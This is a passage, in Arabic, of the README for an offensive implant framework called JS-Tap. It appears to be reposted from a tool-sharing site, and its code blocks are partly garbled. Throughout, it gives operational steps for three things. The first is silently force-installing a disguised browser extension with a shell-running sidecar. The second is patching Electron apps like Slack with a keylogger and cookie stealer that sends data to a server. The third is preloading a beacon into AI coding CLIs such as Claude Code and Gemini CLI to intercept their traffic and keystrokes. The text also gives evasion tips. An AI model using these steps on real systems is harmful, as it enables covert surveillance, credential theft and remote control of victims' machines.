أضف مخرجات base64 إلى `extension_ids.chrome_key` واضبط `extension_ids.chrome_key_pem` على `key.pem` في `bex-beacon/config.json`. سينفذ سكريبت البناء حسابًا تلقائيًا والتحقق من معرف إضافة Chrome المكون من 32 حرفًا.

يتم تعيين معرفات إضافات Firefox مباشرة عبر `extension_ids.firefox_extension_id` (على سبيل المثال `bex-beacon@jstap`).

### النشر إلى الأهداف

كل حزمة نشر هي **أرشيف ذاتي الاحتواء** — ملف واحد لنسخه إلى الجهاز الهدف.

**سير العمل:**
1. انسخ الأرشيف المناسب إلى الهدف (مثل `chrome-linux.tar.gz`)
2. استخرجه
3. شغّل سكريبت التثبيت```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh

# Windows
# Extract chrome-windows.zip, then run:
install.bat

ما تفعله نصوص التثبيت:

عند تمكين sidecar، تقوم نصوص التثبيت أيضًا بتثبيت ملف sidecar الثنائي وكتابة بيان المراسلات الأصلي في الموقع الصحيح الخاص بالمتصفح/نظام التشغيل. تركيب sidecar يكون على مستوى المستخدم (لا يتطلب sudo).

تفاصيل تثبيت Chrome/Chromium (لينكس):

  • يستخدم آلية السياسة المؤسسية لـ Chrome (إعدادات الإضافة ExtensionSettings مع وضع force_installed)
  • يتم تخزين ملف CRX وبيان تحديث على نمط Omaha في /opt/jstap/
  • يُكتب JSON السياسة إلى /etc/chromium/policies/managed/ (Chromium) أو /etc/opt/chrome/policies/managed/ (Chrome)
  • يتم تثبيت الإضافة بصمت عند تشغيل المتصفح التالي — لا مطالبات للمستخدم، لا نوافذ منبثقة للأخطاء
  • سيعرض Chrome "Managed by your organization" في قائمة المتصفح، وهو أمر طبيعي للأجهزة المدارة مؤسسيًا

تفاصيل تثبيت Chrome/Chromium (macOS):

  • يستخدم آلية الإضافات الخارجية
  • يتم تخزين ملف CRX في /Library/Application Support/JSTap/
  • يُكتب JSON إضافة خارجية إلى دليل الإضافات الخارجية للمتصفح
  • يجب على المستخدم النقر على Keep عندما يحذر Chrome بشأن الإضافة المثبتة خارجيًا

إلغاء التثبيت

تتضمن كل حزمة نشر نصًا لإلغاء التثبيت (uninstall.sh أو uninstall.bat) يقوم بإزالة كل ما نشره نص التثبيت بشكل نظيف.```bash

Linux/macOS

./uninstall.sh

Windows

uninstall.bat

root@kitploit:~
**ما تقوم بإزالته نصوص إلغاء التثبيت:**

| المكوّن | ما تتم إزالته |
|---|---|
| **إضافة Chrome/Chromium** (لينكس) | ملف JSON لسياسة المؤسسة + CRX + ملف التحديث من أدلة النظام (يتطلب `sudo`) |
| **إضافة Chrome/Chromium** (macOS) | ملف JSON للإضافة الخارجية + CRX من أدلة النظام (يتطلب `sudo`) |
| **إضافة Chrome** (ويندوز) | إدخال التسجيل + ملفات الإضافة من `%LOCALAPPDATA%\JSTap` |
| **إضافة Firefox** | ملف `.xpi` من دليل `extensions/` في ملف تعريف Firefox |
| **Sidecar** (عند وجوده) | الثنائي من `~/.local/bin/`، وملف JSON لبيان البرنامج المضيف، وإدخالات التسجيل (ويندوز) |

بعد إلغاء التثبيت، أعد تشغيل المتصفح لتطبيق التغييرات.

#### الاستخدام للتطوير

للتطوير والاختبار، يمكنك تخطي حزم النشر وتحميل الإضافات مباشرة:
- **Chrome:** `chrome://extensions` -> تمكين وضع المطور -> تحميل غير مضغوط -> اختر `build/chrome-mv3/`
- **Firefox:** `about:debugging` -> هذا Firefox -> تحميل إضافة مؤقتة -> اختر أي ملف داخل `build/firefox-mv2/`

### Sidecar (مضيف البرامج المضيفة)

Sidecar **اختياري**. وهو ثنائي Go يتواصل مع BEX Beacon عبر واجهة البرامج المضيفة للمتصفح لتوفير وصول على مستوى نظام التشغيل (تصفح الملفات، قراءة الملفات، تنفيذ الأوامر).

#### التمكين والبناء

1. عيّن `sidecar.enabled: true` في `bex-beacon/config.json`
2. قم بتكوين معرفات الإضافات في `extension_ids` (انظر [معرفات الإضافات الثابتة](#static-extension-ids) أعلاه)
3. قم بتشغيل البناء الموحد:```bash
python3 buildAll.py

ينسخ البرنامج النصي للبناء تلقائياً معرفات الامتدادات من الإعداد المركزي إلى sidecar/config.json، ويقوم بتجميع ملفات الـ sidecar الثنائية عبر جميع المنصات، ويتضمن الملف الثنائي الصحيح في كل حزمة نشر.

بناء Sidecar مستقل

إذا كنت بحاجة إلى إعادة بناء الـ sidecar فقط دون إعادة بناء الامتدادات:```bash python3 buildAll.py --sidecar-only

root@kitploit:~
أو قم ببنائها مباشرة (سيعود إلى قراءة `../bex-beacon/config.json` إذا لم يكن هناك إعداد محلي):```bash
cd sidecar
python3 buildSidecar.py

Sidecar Uninstalling

للتجارب التكرارية أثناء التطوير، استخدم نص إلغاء التثبيت المخصص لـ Sidecar لإزالة الملف الثنائي وجميع ملفات تعريف المراسلة الأصلية:```bash ./sidecar/uninstall.sh

root@kitploit:~
هذا يزيل الثنائي من `~/.local/bin/` وملف JSON الخاص بالمانيفست من جميع أدلة مانيفست Chrome/Firefox (لينكس وmacOS).

للأنظمة المنشورة، استخدم `uninstall.sh` أو `uninstall.bat` من الحزمة بدلاً من ذلك — فهي تزيل كل من الإضافة والـ sidecar في خطوة واحدة. انظر [إزالة التثبيت](#uninstalling) أعلاه.

#### كيف يعمل الـ Sidecar```
JS-Tap Portal UI
    │ POST /api/sidecar/command
    ▼
JS-Tap Server (queues SIDECAR_COMMAND task)
    │ Beacon polls on heartbeat
    ▼
BEX Beacon (background service worker)
    │ browser.runtime.connectNative()
    ▼
Sidecar Go Binary (native messaging, stdio)
    │ Executes command, returns result
    ▼
BEX Beacon (encrypts result, sends to server)
    │ POST /client/metrics/<uuid>
    ▼
JS-Tap Server (stores SidecarResult)
    │ UI polls GET /api/sidecar/result/<requestId>
    ▼
JS-Tap Portal UI (displays result)

يستخدم الاتصال بين الـ beacon والملف الثنائي sidecar بروتوكول المراسلة الأصلي (native messaging protocol) — كل رسالة مسبوقة بطول 4 بايت بصيغة little-endian، متبوعة بحمولة JSON.

أوامر Sidecar:

Atom Beacon (تصحيح تطبيقات Electron)

يتم حقن implant الـ Atom Beacon في تطبيقات سطح المكتب Electron باستخدام المُصحح atomize.py. يقوم بتعديل أرشيف ASAR الخاص بالتطبيق (أو مجلد التطبيق غير المضغوط) لإضافة كود الوكيل إلى نقطة الدخول للعملية الرئيسية.

المتطلبات الأساسية

  • Python 3 بدون تبعيات pip إضافية (يستخدم مكتبة ASAR نقية بلغة Python مدمجة)
  • تطبيق Electron المستهدف — ملف resources/app.asar أو مجلد resources/app/ الخاص بالتطبيق

بناء ملف تنفيذي لويندوز

على لينكس وماك، يمكن تشغيل atomize.py مباشرة باستخدام Python 3. على ويندوز، قد لا يكون Python مثبتًا. يمكنك بناء ملف atomize.exe مستقل باستخدام PyInstaller:```bash cd atom-beacon pip install pyinstaller pyinstaller atomize.spec

root@kitploit:~
ينتج هذا `dist/atomize.exe` — ملفًا تنفيذيًا واحدًا يضم بايثون ومكتبة ASAR وملفات الحمولة. لا يلزم تثبيت بايثون على جهاز Windows الهدف. الاستخدام مطابق تمامًا لنسخة بايثون:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0

ملاحظة: يمكن لـ PyInstaller البناء فقط لنظام التشغيل الذي يعمل عليه. لبناء ملف .exe لنظام Windows، قم بتشغيل PyInstaller على جهاز يعمل بنظام Windows (أو جهاز افتراضي/بيئة CI لنظام Windows).

استكشاف أخطاء pip في Windows وإصلاحها:

إذا لم يتم التعرف على pip في Windows ولكن python يعمل، استخدم python -m pip بدلاً من ذلك:``` python -m pip install pyinstaller

root@kitploit:~
إذا لم يتم العثور على `pyinstaller` بعد التثبيت، استخدم `python -m PyInstaller` (حساس لحالة الأحرف):```
python -m PyInstaller atomize.spec

إذا لم يكن pip متاحًا بحد ذاته، فتأكد من تثبيت Python مع تمكين خيار "إضافة Python إلى PATH". يمكنك أيضًا تهيئة pip يدويًا:``` python -m ensurepip --upgrade

root@kitploit:~
#### تحليل هدف

قبل التصحيح، استخدم `--detect-only` لتحليل بنية التطبيق المستهدف وإعدادات الأمان وحالة توقيع الكود:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app

يُبلغ هذا عن:

  • ملف نقطة الدخول (من package.json)
  • ما إذا كان المصدر مُصغَّرًا أم قابلًا للقراءة
  • إعدادات أمان Electron (nodeIntegration, contextIsolation, sandbox، إلخ.)
  • حالة التوقيع الرمزي (macOS)
  • التحقق من سلامة ASAR (macOS)
  • ما إذا كان التطبيق قد تم تصحيحه بالفعل

التصحيح```bash

cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app

root@kitploit:~
الخيارات:

| العلم | الوصف |
|---|---|
| `--server URL` | عنوان URL لخادم JS-Tap (مطلوب للتصحيح) |
| `--tag TAG` | علامة العميل، تظهر في البوابة (الافتراضي: `atom`) |
| `--detect-only` | تحليل بدون تصحيح |
| `--no-backup` | تخطي إنشاء نسخة احتياطية `.bak` من ASAR الأصلي |
| `--output PATH` | كتابة ASAR المصحح إلى مسار مختلف بدلاً من الاستبدال في المكان |

يقوم المُصحِّح تلقائيًا بـ:
- تحديد `app.asar` أو `app/` داخل حزم `.app` (macOS)، وأدلة `resources/` (Linux/Windows)، أو قبول المسارات المباشرة
- إنشاء نسخة احتياطية `.bak` قبل التعديل (إلا إذا تم استخدام `--no-backup`)
- اكتشاف وإزالة التصحيحات الموجودة قبل إعادة التصحيح
- إنشاء بادئة IPC فريدة لكل تصحيح لتجنب التعارضات
- تضمين حمولة العارض كثابت نصي داخل الوكيل (حقن ملف واحد)

#### ملاحظات ما بعد التصحيح

| المنصة | ملاحظات |
|---|---|
| **macOS** | تم إبطال التوقيع الرمزي. إذا أظهر التطبيق تحذيرًا بـ "تالف"، قم بتشغيل `xattr -cr /path/to/App.app` أو أعد التوقيع باستخدام `codesign --force --deep --sign - /path/to/App.app`. |
| **Windows** | قد يُظهر SmartScreen تحذيرًا عند التحميل الأولي، لكن التطبيقات المثبتة بالفعل لا يتم إعادة التحقق منها. يعمل التصحيح في المكان دون مشاكل. |
| **Linux** | لا يوجد تطبيق للتوقيع الرمزي. يعمل التطبيق المصحح بشكل طبيعي. |

#### فك الحزمة (الاستعادة)

لاستعادة تطبيق مصحح، استعد ملف `.bak`:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar

كيف يعمل Atom Beacon```

Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)

Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture

root@kitploit:~
يتواصل الوكيل مع الخادم من خلال نفس نقطة النهاية المشفرة المستخدمة من قبل BEX Beacons (`POST /client/metrics/<uuid>`). يتم تشفير جميع البيانات باستخدام AES-GCM مع مفاتيح تم إنشاؤها أثناء التسجيل.

#### استخدام لوحة الأدوات (Atom Beacon)

عند تحديد عميل Atom Beacon في البوابة، توفر لوحة **الأدوات** ما يلي:

**لوحة وكيل المتصفح** — بدء/إيقاف الوكيل، تنزيل شهادة CA، وإنشاء تذاكر الوكيل. يتم توجيه الطلبات عبر سياق الشبكة لتطبيق Electron.

**علامة تبويب مستعرض الملفات** — تصفح نظام ملفات الهدف وقراءة الملفات، مطابق لمتصفح ملفات BEX Sidecar ولكنه يعمل أصليًا في عملية Electron.

**علامة تبويب الصدفة** — تنفيذ الأوامر على الهدف، مطابق لصدفة BEX Sidecar ولكنه يعمل أصليًا عبر `child_process` من Node.js.

**علامة تبويب لقطات الشاشة** — خاصة بـ Atom Beacon. توفر:
- زر **التقاط الآن** للقطات شاشة يدوية عند الطلب
- **خوارزميات الالتقاط التلقائي** — مفاتيح قابلة للتكوين لمحفزات الالتقاط التلقائي:
  - *التقاط عند تركيز النافذة* — لقطات شاشة عندما ينتقل المستخدم بين نوافذ التطبيق
  - *التقاط عند التنقل* — لقطات شاشة عند التنقل بين الصفحات (بما في ذلك تنقل SPA مثل تبديل القنوات في Slack)
  - *التقاط عند فتح نافذة جديدة* — لقطات شاشة عندما يفتح التطبيق نافذة جديدة
- **فترة التهدئة** — الحد الأدنى للثواني بين الالتقاطات التلقائية لكل نافذة (يمنع الفيضان)

يستخدم الالتقاط التلقائي مشغلات إزالة الارتداد — بالنسبة لتنقل SPA، يتم التقاط لقطة الشاشة بعد 3 ثوانٍ من آخر حدث تنقل/تغيير عنوان، مما يضمن التقاط المحتوى الذي تم الوصول إليه بدلاً من الصفحة المغادرة.

تعرض شارة لوحة الأدوات **مدمج** لعملاء Atom Beacon (نظرًا لأن الوصول إلى نظام التشغيل أصلي للوكيل، ولا يعتمد على ثنائي sidecar خارجي).

### V8 Beacon (تطبيقات Node.js / Bun CLI)

يتم حقن جهاز V8 Beacon في تطبيقات Node.js وBun CLI عبر متغيرات البيئة. لا يلزم تصحيح أو تعديل التطبيق المستهدف.

#### بناء جهاز Beacon```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini

Options:

العلامةالوصف
--server URLعنوان خادم JS-Tap (مطلوب)
--tag TAGعلامة العميل، تظهر في البوابة (الافتراضي: v8)

يؤدي هذا إلى إنشاء ملف v8-beacon.js مستقل بذاته مع تضمين عنوان URL للخادم والعلامة داخله.

حقن المنارة

لتطبيقات Node.js (Gemini CLI، OpenCode، أدوات Node.js المخصصة، إلخ):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool

root@kitploit:~
**لتطبيقات بون** (Claude Code، إلخ):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude          # or any Bun-based CLI tool

يمكنك تعيين كلا المتغيرين البيئيين في وقت واحد لتغطية كلا بيئتي التشغيل:```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"

root@kitploit:~
يتم تحميل beacon قبل كود التطبيق نفسه ويبدأ في تزويد runtime. يعمل التطبيق المستهدف بشكل طبيعي — يكون beacon غير مرئي للمستخدم.

#### كيف يعمل```
Target CLI Application (e.g. claude, gemini)
    │ --require / --preload loads v8-beacon.js
    ▼
V8 Beacon Agent (same process)
    │ Registers with JS-Tap server
    │ RSA-OAEP key exchange → AES-GCM encrypted channel
    ▼
Heartbeat Loop (jittered interval)
    ├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
    ├── Flush captured data (network calls, keystrokes)
    ├── Exfiltrate queued data (encrypted, single endpoint)
    └── Report status (host info, capabilities, proxy state)

Network Hooks (automatic)
    ├── http.request / https.request (monkey-patched)
    ├── globalThis.fetch (monkey-patched)
    ├── http2.connect (monkey-patched)
    └── Module._load intercept for node-fetch

Stdin Hooks (automatic)
    ├── process.stdin.push / emit
    ├── tty.ReadStream.prototype.push
    └── readline.createInterface

معالجة العمليات الفرعية

تقوم بعض أدوات سطر الأوامر بتوليد نفسها كعمليات فرعية. على سبيل المثال، يقوم Gemini CLI بتشغيل المصادقة في العملية الأم، ثم يقوم بتوليد عملية فرعية node gemini للجلسة التفاعلية (حيث تتم استدعاءات API الفعلية).

يتعامل V8 Beacon مع هذا تلقائيًا:

  • تقوم العملية الأم بتعيين متغيرات البيئة __V8_BEACON_ACTIVE و __V8_BEACON_RUNTIME
  • ترث العمليات الفرعية في نفس بيئة التشغيل جلسة العملية الأم (UUID ومفاتيح التشفير عبر __V8_BEACON_UUID، __V8_BEACON_SENDKEY، __V8_BEACON_RECVKEY)
  • يتم تخطي العمليات الفرعية في بيئة تشغيل مختلفة (مثل تطبيق Bun يقوم بتوليد أداة Node.js)
  • يتم دائمًا تخطي أدوات البناء ومديري الحزم (npm، npx، yarn، tsc، eslint، إلخ)

هذا يعني أن جلسة Gemini CLI مع عمليات أم + فرعية تظهر كعميل واحد في البوابة مع توحيد جميع الأحداث.

استخدام لوحة الأدوات (V8 Beacon)

عند تحديد عميل V8 Beacon في البوابة (ضمن علامة التبويب العقد)، توفر لوحة الأدوات ما يلي:

  • لوحة وكيل المتصفح — بدء/إيقاف الوكيل، تنزيل شهادة CA، وإنشاء تذاكر الوكيل. يتم توجيه الطلبات عبر سياق الشبكة لعملية Node.js/Bun.
  • علامة تبويب متصفح الملفات — تصفح نظام ملفات الهدف وقراءة الملفات، مطابقة لمتصفحات الملفات BEX Sidecar و Atom Beacon.
  • علامة تبويب الصدفة — تنفيذ الأوامر على الهدف عبر Node.js child_process.

تظهر شارة لوحة الأدوات مدمج (الوصول إلى نظام التشغيل أصلي للوكيل).

التطبيقات المختبرة

ApplicationRuntimeStatus
Gemini CLINode.jsاعتراض شبكة كامل (بما في ذلك تدفق SSE streamGenerateContent)، تسجيل المفاتيح، الوصول إلى الملفات/الصدفة
Claude CodeBun 1.3.10اعتراض شبكة كامل (بما في ذلك تدفق SSE /v1/messages)، تسجيل المفاتيح، الوصول إلى الملفات/الصدفة

الإعدادات

إعداد خادم JS-Tap

إعداد التصحيح/الخيط الواحد

إذا كنت تشغل JS-Tap باستخدام السكربت jsTapServer.py في وضع الخيط الواحد (رائع للاختبار/العروض)، فهناك خيارات إعداد مباشرة في السكربت jsTapServer.py.

وضع الوكيل

للاستخدام الإنتاجي، يجب استضافة JS-Tap على خادم متاح للعامة مع شهادة SSL صحيحة من جهة مثل letsencrypt. أسهل طريقة لنشر ذلك هي السماح لـ NGINX بالعمل كواجهة أمامية لـ JS-Tap ومعالجة شهادة letsencrypt، ثم توجيه الحركة المفكوكة التشفير إلى JS-Tap كحركة HTTP محليًا (أي يعمل NGINX و JS-Tap على نفس VPS).

إذا قمت بتعيين proxyMode إلى true، فسيتم تشغيل خادم JS-Tap في وضع HTTP، وسيأخذ عنوان IP للعميل من رأس X-Forwarded-For، والذي يحتاج NGINX إلى تكوينه لتعيينه.

عند تعيين proxyMode إلى false، سيعمل JS-Tap بشهادة ذاتية التوقيع، وهو مفيد للاختبار. سيتم أخذ عنوان IP للعميل من عنوان IP المصدر للعميل المتصل.

دليل البيانات

يخبر معامل dataDirectory JS-Tap بمكان الدليل المراد استخدامه لقاعدة بيانات SQLite ودليل loot. لا يتم تخزين كل "الغنائم" في قاعدة البيانات، خاصة لقطات الشاشة وملفات HTML المسحوبة.

منفذ الخادم

لتغيير إعداد منفذ الخادم، انظر إلى السطر الأخير من jsTapServer.py``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')

root@kitploit:~
### تكوين BEX Beacon (config.json)
موجود في `bex-beacon/config.json`. هذا هو **المصدر الوحيد للحقيقة** لجميع تكوين البناء — الإضافات، ومعرفات الإضافات، وإعدادات sidecar.```json
{
  "extension": {
    "name": "Resource Optimizer",
    "short_name": "ResOpt",
    "version": "2.1.4",
    "description": "Optimizes page resource loading for improved performance.",
    "author": "WebPerf Tools",
    "homepage_url": "https://www.example.com",
    "install_dirname": "webperf-tools"
  },
  "extension_ids": {
    "chrome_key": "",
    "chrome_key_pem": "",
    "chrome_extension_id": "",
    "firefox_extension_id": "bex-beacon@jstap"
  },
  "js_tap_server": {
    "domain": "127.0.0.1",
    "port": 8444
  },
  "heartbeat": {
    "base_interval": 5,
    "jitter_percent": 30
  },
  "domain_scoping": {
    "whitelist_enabled": false,
    "whitelist": [
      "https://*.example.com/*",
      "http://localhost:8000/*"
    ]
  },
  "sidecar": {
    "enabled": false,
    "host_name": "com.jstap.sidecar",
    "binary_name": "sidecar"
  }
}

extension

يتحكم في بيانات تعريف الإضافة وأسماء النشر. قم بتغيير هذه الحقول لإخفاء مظهر الإضافة في chrome://extensions أو about:addons.

extension_ids

يتحكم في معرفات الإضافة الثابتة للبناءات المحددة. راجع معرفات الإضافة الثابتة لتعليمات الإعداد.

js_tap_server

الحقلالوصف
domainاسم المضيف أو عنوان IP لخادم JS-Tap الخاص بك.
portالمنفذ الذي يستمع عليه خادم JS-Tap.

heartbeat

يتحكم في عدد مرات اتصال المنارة (beacon) بالخادم لتقديم التقارير وجلب المهام الجديدة (مثل أوامر الحقن أو أوامر المرافق (sidecar)).

الحقلالوصف

التموج مهم لأمن العمليات (OPSEC) — فهو يمنع المنارة من إنشاء نمط شبكي منتظم يمكن اكتشافه بواسطة أدوات مراقبة الشبكة. كل نبضة قلب تجدول النبضة التالية بعشوائية جديدة.

domain_scoping

يتحكم في المجالات التي تراقبها المنارة وتتفاعل معها.

الحقلالوصف
whitelist_enabled = مراقبة جميع المجالات (وضع all_domains). = مراقبة فقط المجالات المطابقة لأنماط القائمة البيضاء.

عند تمكين القائمة البيضاء، تقوم المنارة بفرضها على طبقات متعددة:

  • حقن سكريبت المحتوى — يُحقن فقط في الصفحات المطابقة لأنماط القائمة البيضاء
  • الإبلاغ عن القياس عن بُعد — لا يتم الإبلاغ عن المجالات غير المدرجة في القائمة البيضاء للخادم
  • مهام حقن JS-Tap — يتم حظر الحقن للمجالات غير المدرجة في القائمة البيضاء
  • التقاط الرؤوس — يتم التقاط رؤوس الطلبات فقط للمجالات المدرجة في القائمة البيضاء

هذا أمر بالغ الأهمية لمشاركات الفريق الأحمر (red team) ذات متطلبات النطاق الصارمة. إعداد whitelist_enabled: true يضمن أن المنارة لن تتفاعل مع المجالات خارج النطاق.

أمثلة لأنماط القائمة البيضاء:```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]

root@kitploit:~
#### sidecar
يتحكم في ميزة المراسلة الأصلية الاختيارية في BEX Beacon. راجع قسم [Sidecar](#sidecar-native-messaging) أعلاه للحصول على التفاصيل الكاملة.

| Field | Description |
|---|---|
| `enabled` | `false` = لا يوجد مراسلة أصلية (افتراضي). `true` = تفعيل دعم sidecar. يضيف إذن `nativeMessaging` إلى بيان الإضافة. |
| `host_name` | اسم المضيف للمراسلة الأصلية. الافتراضي: `com.jstap.sidecar` |
| `binary_name` | اسم للثنائي sidecar المجمّع. الافتراضي: `sidecar`. غيّر هذا لإخفاء الثنائي على الأنظمة المستهدفة (مثل `chrome-helper`). |

يقوم نص البناء الموحد بمزامنة معرفات الإضافات تلقائيًا من `extension_ids` إلى تكوين sidecar، لذلك تحتاج فقط إلى تكوين المعرفات في مكان واحد.

### JS-Tap Payload (telemlib.js) Configuration
متغيرات التكوين هذه موجودة في دالة **initGlobals()**.

#### JS-Tap Server Location
تحتاج إلى تكوين الحمولة (payload) بعنوان URL لخادم JS-Tap الذي ستتصل به مرة أخرى.```
window.taperexfilServer = "https://127.0.0.1:8444";

الوضع

اضبط على إما trap أو implant يتم تعيين ذلك باستخدام المتغير:``` window.taperMode = "trap"; or window.taperMode = "implant";

root@kitploit:~
#### Trap Mode Starting Page
مطلوب فقط لوضع المصيدة. راجع الشرح في قسم **أوضاع التشغيل** أعلاه.<br>
يحدد الصفحة التي يبدأ منها المستخدم عند تعيين مصيدة iFrame.```
window.taperstartingPage = "http://targetapp.com/somestartpage";

إذا كنت ترغب في بدء المصيدة على الصفحة الحالية، بدلاً من إعادة توجيه المستخدم إلى صفحة أخرى في مصيدة iframe، يمكنك استخدام:``` window.taperstartingPage = window.location.href;

root@kitploit:~
#### علامة العميل
مفيدة إذا كنت تستخدم JS-Tap ضد تطبيقات أو نشرات متعددة في وقت واحد وتريد مؤشرًا مرئيًا للحمولة التي تم تحميلها. تذكر أن الدليل /payloads بالكامل يتم تقديمه، يمكنك أن يكون لديك حمولات JS-Tap متعددة مهيأة بأوضاع مختلفة، وصفحات بدء، وعلامات عميل.

يتم إضافة سلسلة العلامة هذه (اجعلها قصيرة!) إلى بداية اسم العميل في بوابة JS-Tap. قم بإعداد حمولات متعددة، كل منها بالتكوين المناسب للتطبيق الذي يتم استخدامها ضده، وأضف علامة تشير إلى التطبيق الذي يقوم العميل بتشغيله.```
window.taperTag = 'whatever';

Custom Payload Tasks

تستخدم لتكوين ما إذا كان العملاء يتحققون من مهام Custom Payload، وكم مرة يتحققون منها. إعدادات jitter تتيح لك تعيين معدّلات floor و ceiling اختياريًا. سيتم اختيار قيمة عشوائية بين هذين الرقمين وإضافتها إلى تأخير التحقق. اضبط هذه القيم على 0 و0 لعدم وجود jitter.``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;

root@kitploit:~
#### بصمة العميل
يمكن تمكين هذه الميزة لحساب بصمة للعميل بناءً على العديد من السمات. يتم إنشاء تجزئة قصيرة جدًا من هذه البصمة. يمكن عرض هذه التجزئة القصيرة اختياريًا على بطاقة العميل عن طريق تمكينها في **App SettingS**. يمكن تصفية مرشح قائمة العملاء بناءً على هذه البصمة لتحديد عملاء JS-Tap المتعددين الذين من المحتمل أن يعملوا على نفس الحاسوب. لاحظ أنه إذا أصدرت مؤسسة أنظمة متطابقة للمستخدمين، فقد ينتهي بهم الأمر بسهولة بنفس قيمة البصمة.

لتمكين حسابات البصمة في حمولة JS-Tap:```
window.taperFingerprint = true;

حتى إذا كانت البصمة قيد الحساب، فلن تظهر في بطاقات العميل ما لم يتم تمكين الميزة في إعدادات التطبيق أيضًا.

لاحظ أنه يمكنك تصفية قائمة العملاء عن طريق تجزئات بصمات لعرض العملاء الذين من المرجح أن يكونوا نفس الكمبيوتر.

استخراج HTML

إعداد صحيح/خطأ حول ما إذا كانت نسخة من كود HTML لكل صفحة تم عرضها يتم استخراجها. هذه الملفات HTML المستخرجة ضرورية للعثور على مصادر رمز CSRF عند إنشاء حمولات مخصصة لإرسال النماذج تلقائيًا.``` window.taperexfilHTML = true;

root@kitploit:~
#### نسخ تقديمات النماذج
إعداد true/false لتحديد ما إذا كان سيتم اعتراض نسخة من جميع إرسالات النماذج.```
window.taperexfilFormSubmissions = true;

MonkeyPatch APIs

تمكين monkeypatching لواجهات XHR و Fetch APIs. يعمل هذا في trap mode. في implant mode، يتم monkeypatching فقط لواجهات Fetch. يتيح monkeypatching إعادة كتابة JavaScript في وقت التشغيل. سيؤدي تمكين هذه الميزة إلى إعادة كتابة واجهات الشبكات XHR و Fetch المستخدمة بواسطة كود JavaScript من أجل التنصت على محتويات مكالمات الشبكة هذه. لاحظ أن مكالمات الشبكة المستندة إلى jQuery و Ajax سيتم التقاطها في XHR API، التي تستخدمها تحت الغطاء لمكالمات الشبكة. يعتمد التوليد التلقائي للحمولات المخصصة لمكالمات API بالطبع على اعتراض مكالمات API باستخدام ميزة monkeypatch هذه.``` window.monkeyPatchAPIs = true;

root@kitploit:~
## بوابة JS-Tap

سجل الدخول باستخدام بيانات اعتماد المسؤول التي يوفرها البرنامج النصي للخادم عند بدء التشغيل (محفوظة أيضًا في `adminCreds.txt`).

### إدارة العملاء

يظهر العملاء على اليسار، مجمعة حسب النوع. استخدم أزرار التبديل في أعلى قائمة العملاء للتبديل بين طرق العرض.

* **التطبيقات (Apps)** — عملاء DOM Beacon (من حمولات telemlib.js)
* **المتصفحات (Browsers)** — عملاء BEX Beacon
* **الإلكترون (Electrons)** — عملاء Atom Beacon (من تطبيقات Electron المصححة)
* **العقد (Nodes)** — عملاء V8 Beacon (من تطبيقات سطر الأوامر Node.js/Bun)

سيؤدي تحديد عميل إلى إظهار سلسلة زمنية لأحداثه (الغنائم) على اليمين. إذا قمت بتصفية القائمة (على سبيل المثال، التبديل من التطبيقات إلى المتصفحات)، فسوف يصبح عرض الغنائم المحدد حاليًا باهتًا ويتحول إلى تدرج رمادي للإشارة إلى أنها بيانات "خلفية".

عندما تكون في عرض **المتصفحات**، يظهر رأس عمود التفاصيل مفتاح **الغنائم / الأدوات**:
* علامة التبويب **الغنائم** — بطاقات النطاق تعرض النطاقات التي تمت زيارتها وعناصر التحكم في الحقن.
* علامة التبويب **الأدوات** — لوحة وكيل المتصفح (مرئية دائمًا) ولوحة Sidecar (قابلة للطي، إذا كان المنارة يدعم ذلك).

عملاء Atom Beacon (في عرض **الإلكترون**) وعملاء V8 Beacon (في عرض **العقد**) لديهم أيضًا مفتاح **الغنائم / الأدوات**. توفر لوحة الأدوات الخاصة بهم تصفح الملفات المدمج والوصول إلى الصدفة دون الحاجة إلى ثنائي sidecar منفصل. بالإضافة إلى ذلك، تمتلك Atom Beacons أدوات التحكم في لقطات الشاشة.

**يمكن توسيع BEX Beacons (المتصفحات)** لرؤية جميع النطاقات التي زاروها. يمكنك تشغيل حقن DOM Beacon من قائمة النطاق. ستعرض بطاقات BEX Beacon في الشريط الجانبي ملخصًا لأي DOM Beacons التي قاموا بإنشائها بنجاح.

